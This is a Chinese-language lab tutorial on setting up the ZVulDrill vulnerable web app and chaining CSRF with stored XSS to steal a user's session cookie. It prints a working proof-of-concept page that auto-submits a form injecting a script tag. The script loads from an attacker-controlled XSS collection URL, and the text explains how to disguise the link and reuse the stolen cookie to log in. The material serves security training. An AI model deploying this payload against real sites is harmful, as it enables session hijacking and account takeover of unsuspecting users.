csrf+xss组合拳获取cookie
关于ZVulDrill搭建的问题
目前github上的ZVulDrill有两个版本,分别是旧版和新版,新版需要对文件略作修改:将根目录下的名为js
的文件夹移动到文件夹user
目录下,方可正常使用。旧版无需更改。
ZVulDrill的搭建与其他靶场的搭建过程大体相同,但最后步骤稍有区别。
该靶场与pikachu类似,需要访问数据库,故需要修改数据库相关信息,路径为:\ZVulDrill\sys\config.php
该靶场的默认数据库名为ZVulDrill
,在php代码中所用到的数据库亦为ZVulDrill,故需要新建一个名为ZVulDrill的数据库并导入相关设置方可使用,需导入的sql脚本路径为:\ZVulDrill\sys\zvuldrill.sql
。在新版的phpstudy中新建数据库极为简单,如图:
请注意,数据库名称一定要与你的config.php文件中的$database
的值同名。
另外,版本问题也相当重要。如果版本不对的话,可能会出现注册与登录的时候报错、无法注册新用户、无法正常回显等问题。
经过多次测试,笔者测试出可以使靶场正常运行的版本:php版本:5.4.45nts
,数据库版本:MySql 5.0.96
。
千万请注意,一旦版本出错,后面的实验无法正常展开。当然,若是读者有兴趣,可以自行测试更多的php版本,在此不做赘述。
XSS与CSRF的联合利用
首先说明联合利用的思路:先构造一个攻击页面,该页面存放着获取cookie的代码,并且会自动重定向到用户的登录界面;将这个攻击页面伪装好之后发给被攻击用户,当用户在登录状态点击时,登录状态的cookie就会被攻击者获取,进而攻击者就可以利用用户的cookie登录,执行相应操作。
按照以上的思路,我们先构建一个用于攻击的页面,代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>测试CSRF+XSS漏洞Poc</title>
</head>
<body>
<form action="http://127.0.0.1/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="test" value="test01</a><script src=yourURL></script><a>"
class=" form-control" id="inputEmail">
<input type=" hidden" name="update" class=" btn btn-primary" value="更新"></input>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>
这里使用了一个xss平台来获取cookie,具体体现在代码的第11行,可自由输入自己的xss平台链接。
正常情况下进行攻击的话,需要把这段代码的链接伪装起来,但是我们现在做的仅仅是一个验证性实验,无需这么麻烦,只需在浏览器中运行该代码即可。
然后,页面会自动跳转到修改界面。这时,我们就获取到了用户的cookie。
如图,referer与cookie两个参数是需要重点注意的,利用referer的值可以直接访问目标界面,而cookie则是模仿用户登录的关键。然后,可以利用这个cookie进行登录,攻击就完成了。